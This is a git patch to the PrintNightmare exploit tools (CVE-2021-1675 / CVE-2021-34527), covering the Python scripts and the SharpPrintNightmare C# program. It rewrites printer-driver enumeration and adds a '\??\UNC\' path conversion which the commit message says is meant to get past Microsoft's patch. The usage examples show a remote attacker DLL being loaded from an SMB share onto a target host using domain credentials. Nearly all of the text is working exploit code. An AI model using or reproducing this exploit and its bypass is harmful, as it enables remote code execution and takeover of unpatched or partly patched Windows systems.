From 640d1984cd4cf3fe47189c2cb89dcfb62e0ccb7c Mon Sep 17 00:00:00 2001 From: cube0x0 Date: Thu, 8 Jul 2021 13:03:15 +0200 Subject: [PATCH] updated with \??\UNC\ path to avoid patch restriction Signed-off-by: cube0x0 --- CVE-2021-1675.py | 50 ++++++++++------- SharpPrintNightmare/CVE-2021-1675.py | 51 +++++++++++------- .../.vs/SharpPrintNightmare/v16/.suo | Bin 60928 -> 48128 bytes .../SharpPrintNightmare/Program.cs | 4 ++ 4 files changed, 67 insertions(+), 38 deletions(-) diff --git a/CVE-2021-1675.py b/CVE-2021-1675.py index fda7a8b..3e876bd 100644 --- a/CVE-2021-1675.py +++ b/CVE-2021-1675.py @@ -20,15 +20,25 @@ class DRIVER_INFO_2_BLOB(Structure): def __init__(self, data = None): Structure.__init__(self, data = data) - - def fromString(self,data): + + def fromString(self, data, offset=0): Structure.fromString(self, data) - self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']:self['DataFileOffset']].decode('utf-16-le') - self['DataFileArray'] = self.rawData[self['DataFileOffset']:self['DriverPathOffset']].decode('utf-16-le') - self['DriverPathArray'] = self.rawData[self['DriverPathOffset']:self['EnvironmentOffset']].decode('utf-16-le') - self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']:self['NameOffset']].decode('utf-16-le') - self['NameArray'] = self.rawData[self['NameOffset']:len(self.rawData)].decode('utf-16-le') + self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']+offset:self['DataFileOffset']+offset].decode('utf-16-le') + self['DataFileArray'] = self.rawData[self['DataFileOffset']+offset:self['DriverPathOffset']+offset].decode('utf-16-le') + self['DriverPathArray'] = self.rawData[self['DriverPathOffset']+offset:self['EnvironmentOffset']+offset].decode('utf-16-le') + self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']+offset:self['NameOffset']+offset].decode('utf-16-le') + #self['NameArray'] = self.rawData[self['NameOffset']+offset:len(self.rawData)].decode('utf-16-le') +class DRIVER_INFO_2_ARRAY(Structure): + def __init__(self, data = None, pcReturned = None): + Structure.__init__(self, data = data) + self['drivers'] = list() + remaining = data + if data is not None: + for i in range(pcReturned): + attr = DRIVER_INFO_2_BLOB(remaining) + self['drivers'].append(attr) + remaining = remaining[len(attr):] def connect(username, password, domain, lmhash, nthash, address, port): binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address) @@ -53,17 +63,16 @@ def connect(username, password, domain, lmhash, nthash, address, port): return dce -def getDrivers(dce, handle=NULL): +def getDriver(dce, handle=NULL): #get drivers resp = rprn.hRpcEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2) - data = b''.join(resp['pDrivers']) - - #parse drivers - blob = DRIVER_INFO_2_BLOB() - blob.fromString(data) - #blob.dump() + blobs = DRIVER_INFO_2_ARRAY(b''.join(resp['pDrivers']), resp['pcReturned']) + for i in blobs['drivers']: + if "filerepository" in i['DriverPathArray'].lower(): + return i - return blob + print("[-] Failed to find driver") + sys.exit(1) def main(dce, pDriverPath, share, handle=NULL): @@ -99,7 +108,7 @@ def main(dce, pDriverPath, share, handle=NULL): if __name__ == '__main__': - parser = argparse.ArgumentParser(add_help = True, description = "CVE-2021-1675 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog=""" + parser = argparse.ArgumentParser(add_help = True, description = "MS-RPRN PrintNightmare CVE-2021-1675 / CVE-2021-34527 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog=""" Example; ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' @@ -155,7 +164,7 @@ Example; #find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path if not options.pDriverPath: try: - blob = getDrivers(dce, handle) + blob = getDriver(dce, handle) pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL' if not "FileRepository" in pDriverPath: print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath)) @@ -168,6 +177,9 @@ Example; else: pDriverPath = options.pDriverPath + if "\\\\" in options.share: + options.share = options.share.replace("\\\\","\\??\\UNC\\") + print("[+] pDriverPath Found {0}".format(pDriverPath)) print("[*] Executing {0}".format(options.share)) @@ -175,6 +187,6 @@ Example; print("[*] Try 1...") main(dce, pDriverPath, options.share) print("[*] Try 2...") - main(dce, pDriverPath,options.share) + main(dce, pDriverPath, options.share) print("[*] Try 3...") - main(dce, pDriverPath,options.share) + main(dce, pDriverPath, options.share) diff --git a/SharpPrintNightmare/CVE-2021-1675.py b/SharpPrintNightmare/CVE-2021-1675.py index 469c574..40d0232 100644 --- a/SharpPrintNightmare/CVE-2021-1675.py +++ b/SharpPrintNightmare/CVE-2021-1675.py @@ -20,14 +20,25 @@ class DRIVER_INFO_2_BLOB(Structure): def __init__(self, data = None): Structure.__init__(self, data = data) - - def fromString(self,data): + + def fromString(self, data, offset=0): Structure.fromString(self, data) - self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']:self['DataFileOffset']].decode('utf-16-le') - self['DataFileArray'] = self.rawData[self['DataFileOffset']:self['DriverPathOffset']].decode('utf-16-le') - self['DriverPathArray'] = self.rawData[self['DriverPathOffset']:self['EnvironmentOffset']].decode('utf-16-le') - self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']:self['NameOffset']].decode('utf-16-le') - self['NameArray'] = self.rawData[self['NameOffset']:len(self.rawData)].decode('utf-16-le') + self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']+offset:self['DataFileOffset']+offset].decode('utf-16-le') + self['DataFileArray'] = self.rawData[self['DataFileOffset']+offset:self['DriverPathOffset']+offset].decode('utf-16-le') + self['DriverPathArray'] = self.rawData[self['DriverPathOffset']+offset:self['EnvironmentOffset']+offset].decode('utf-16-le') + self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']+offset:self['NameOffset']+offset].decode('utf-16-le') + #self['NameArray'] = self.rawData[self['NameOffset']+offset:len(self.rawData)].decode('utf-16-le') + +class DRIVER_INFO_2_ARRAY(Structure): + def __init__(self, data = None, pcReturned = None): + Structure.__init__(self, data = data) + self['drivers'] = list() + remaining = data + if data is not None: + for i in range(pcReturned): + attr = DRIVER_INFO_2_BLOB(remaining) + self['drivers'].append(attr) + remaining = remaining[len(attr):] def connect(username, password, domain, lmhash, nthash, address, port): stringbinding = epm.hept_map(address, par.MSRPC_UUID_PAR, protocol='ncacn_ip_tcp') @@ -41,17 +52,16 @@ def connect(username, password, domain, lmhash, nthash, address, port): dce.bind(par.MSRPC_UUID_PAR, transfer_syntax = ('8A885D04-1CEB-11C9-9FE8-08002B104860', '2.0')) return dce -def getDrivers(dce, handle=NULL): +def getDriver(dce, handle=NULL): #get drivers resp = par.hRpcAsyncEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2) - data = b''.join(resp['pDrivers']) - - #parse drivers - blob = DRIVER_INFO_2_BLOB() - blob.fromString(data) - #blob.dump() + blobs = DRIVER_INFO_2_ARRAY(b''.join(resp['pDrivers']), resp['pcReturned']) + for i in blobs['drivers']: + if "filerepository" in i['DriverPathArray'].lower(): + return i - return blob + print("[-] Failed to find driver") + sys.exit(1) def main(dce, pDriverPath, share, handle=NULL): @@ -87,7 +97,7 @@ def main(dce, pDriverPath, share, handle=NULL): if __name__ == '__main__': - parser = argparse.ArgumentParser(add_help = True, description = "PrintNightmare CVE-2021-1675 / CVE-2021-34527 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog=""" + parser = argparse.ArgumentParser(add_help = True, description = "MS-PAR PrintNightmare CVE-2021-1675 / CVE-2021-34527 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog=""" Example; ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' @@ -143,7 +153,7 @@ Example; #find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path if not options.pDriverPath: try: - blob = getDrivers(dce, handle) + blob = getDriver(dce, handle) pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL' if not "FileRepository" in pDriverPath: print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath)) @@ -156,6 +166,9 @@ Example; else: pDriverPath = options.pDriverPath + if "\\\\" in options.share: + options.share = options.share.replace("\\\\","\\??\\UNC\\") + print("[+] pDriverPath Found {0}".format(pDriverPath)) print("[*] Executing {0}".format(options.share)) @@ -163,6 +176,6 @@ Example; print("[*] Try 1...") main(dce, pDriverPath, options.share) print("[*] Try 2...") - main(dce, pDriverPath,options.share) + main(dce, pDriverPath, options.share) print("[*] Try 3...") - main(dce, pDriverPath,options.share) \ No newline at end of file + main(dce, pDriverPath, options.share) \ No newline at end of file diff --git a/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo b/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo index 483c68f0b153dfd0459e7891fae971245621f020..aa552ae21424ab3d9b082d8ad512deacc081d10d 100644 GIT binary patch delta 3188 zcmc&$eN0nV6o0oZ(01=3-!No=rF^*-TUz>&;3yOX5owVnGEv8epe9TWP@@J$b!Ics zZSc-C*&kDqB`(X@raTshxU7c7ndo$8Fx!L5;F=9(}BCGdi=61E=?$ zbI-fyp7T5R+!y>&9h^}Oma+xMmo8ATTv(*aiuG6Yj$iNjmKiyY3+2Kt)pGEvt?Up? zs|Hvz1Y!n+A)G2=_=BVerb!g_nuZh%F_fSy0D*6P}(=$b;L`#v8PJ`o9$P^jvo+6`&X$>VZ9%Zs^4v+W< z&05`1OVZL$Sw~!AalgInV8{T8$BMq{>0;3HPlr+L6!N_7D zkX9GD|a#8?fbMkbN3gi5s~svo6&u#>N)B7$Fe zpFH*o2gCw&o`bWCkQL{+0_-SQAuxh~ltl8bx?sAXQM(|*mbF2k5I0Jhr;ID6x>gia z$Q)SpsSsz-hFQZCK$IRb2fN{Xwwxs6)gnj|=z!hH zCFIMckNb}STMKa}8%(B_!5&k&z^FMl`=6y6REhM(syxkUCLCaaAz#*1-4E&Ojs4zRaBIpB!D~Ut zp71;vampl2W(2{Tu?~h)bN&)7Y8pf^)Z~*o>qePq^vdV%pRA@B12sW(a=M{V^3;FF zM3Xms47%Cl7d;=&KUMxbfW5q*r@JAtvt#S`^K`nNdB76yflRCcYJ3sJTmUnfbv(hZ z6o*_Gy;**qfTo*BamMGJ(*Rt3AQW#VCvSbRZuwC?@ae!?%9bYBReXcAL4l&DCk!;C4H09d60|(Ff|q^!YSL8KLF)K&3z* zC%B4C4tJ5oVsYBgZ{fIuU(2;~+qn+z>PA|#&lK*Mnpbbb0w)+6=->m>tYuv;pljlsgv z9P+4bx=5>`LObSy(-XU-lPCAHhg?2tynL_;*-TbjL=zIHQl9uYgXekye0(BJ3SKW_ z2CuEEzprsqYxg#P_vS6V^_w@Iw{LH}w?vgCUH)a$y^RMY_c?vUS}D1zKpkcJ0O%y0#mzk9MOdoAT9dEl37~jT)T8 z4Wf~RudN3P5rYfHKjI%PKfoBR!4QHbXkvnigy0|lX&_-{K-@g1>n#mJ2&logdG5XM zdCxuXd(L^zxgDG4#%_qm>sj%q4LKZJ0%csO!kK%1wPN>mHeZCJ3Wm8g;4Uel@*`JiVg2I2s>gE+B!C| zh37ZpWD6pIfVWlp#r^oO1F;ja3lT=_M(jb56&eHhjE*mjWSiI#FlNt}14@n~P9UPO z&g^q6lI!6qmve8-Wf=B&I{0NMr1;PRr5)~~P>ljgX-c>!?{Gvb0ZF#u$vf!XauJ0g zH|<5%1!299r^r;LiOJTqzE#dBEEFDLBeojCi${4%H${&|q|n3DGEq0BHUZ&6zl?&M z5{<)Dp;w-mr_-1ngYbMWT;j~qqo~foy`0u(j06!{*aj#Pb(iFf1jKS-A>mS0hivg9 zvb~F1!L3^foWAi1;lV>we8>K&U9=~b6fJFL>msQMCy&zEh0+zKnNKmi?*Mj~_`2v^|osRs(}At86e zRE3Wx&g+t|kQnY(Xkfgunmo^-H0b1Tzt}6IHYu2--0#&OX~Z^|)?kfL-=w}OD6m%` zyl_<7jUox$%cIDwgai4FiE!?KseHeTT5(Ff7s3U2M4F4!ezzb$>s1$1O9^53?Z+R{&4ZsN zm*^$@Fs*=V-f9l%Ao0~4csd9o%UvfWqh!$*te9IyF%pgrY^@j4I*B zlLi=zTEN69V)1B*LFiNwdb$79%GlVcVJ>4^U~pH*VB~ZhZk-80+50!qq!vmqz6LS_ zdUDzchKL-Fey}4peC7~?j?#v#bpr$aL(6)Hns8=g9DKcGhPRj;2GdA$pnoVB#8}wC z)wL7q8`QB|n=F|qSp7odS=(nZSdf5$U& zwov>%=9$$m0%y&*_BiMGHdS{^*y?2sbfyV82hJoA%4;MnIX>p0*_t1V*mgE diff --git a/SharpPrintNightmare/SharpPrintNightmare/Program.cs b/SharpPrintNightmare/SharpPrintNightmare/Program.cs index a9e4236..2a7b7c9 100644 --- a/SharpPrintNightmare/SharpPrintNightmare/Program.cs +++ b/SharpPrintNightmare/SharpPrintNightmare/Program.cs @@ -68,6 +68,10 @@ namespace SharpPrintNightmare Environment.Exit(0); } dllpath = args[0]; + if (dllpath.Contains("\\\\")) + { + dllpath = dllpath.Replace("\\\\", "\\??\\UNC\\"); + } if (args.Length > 2) {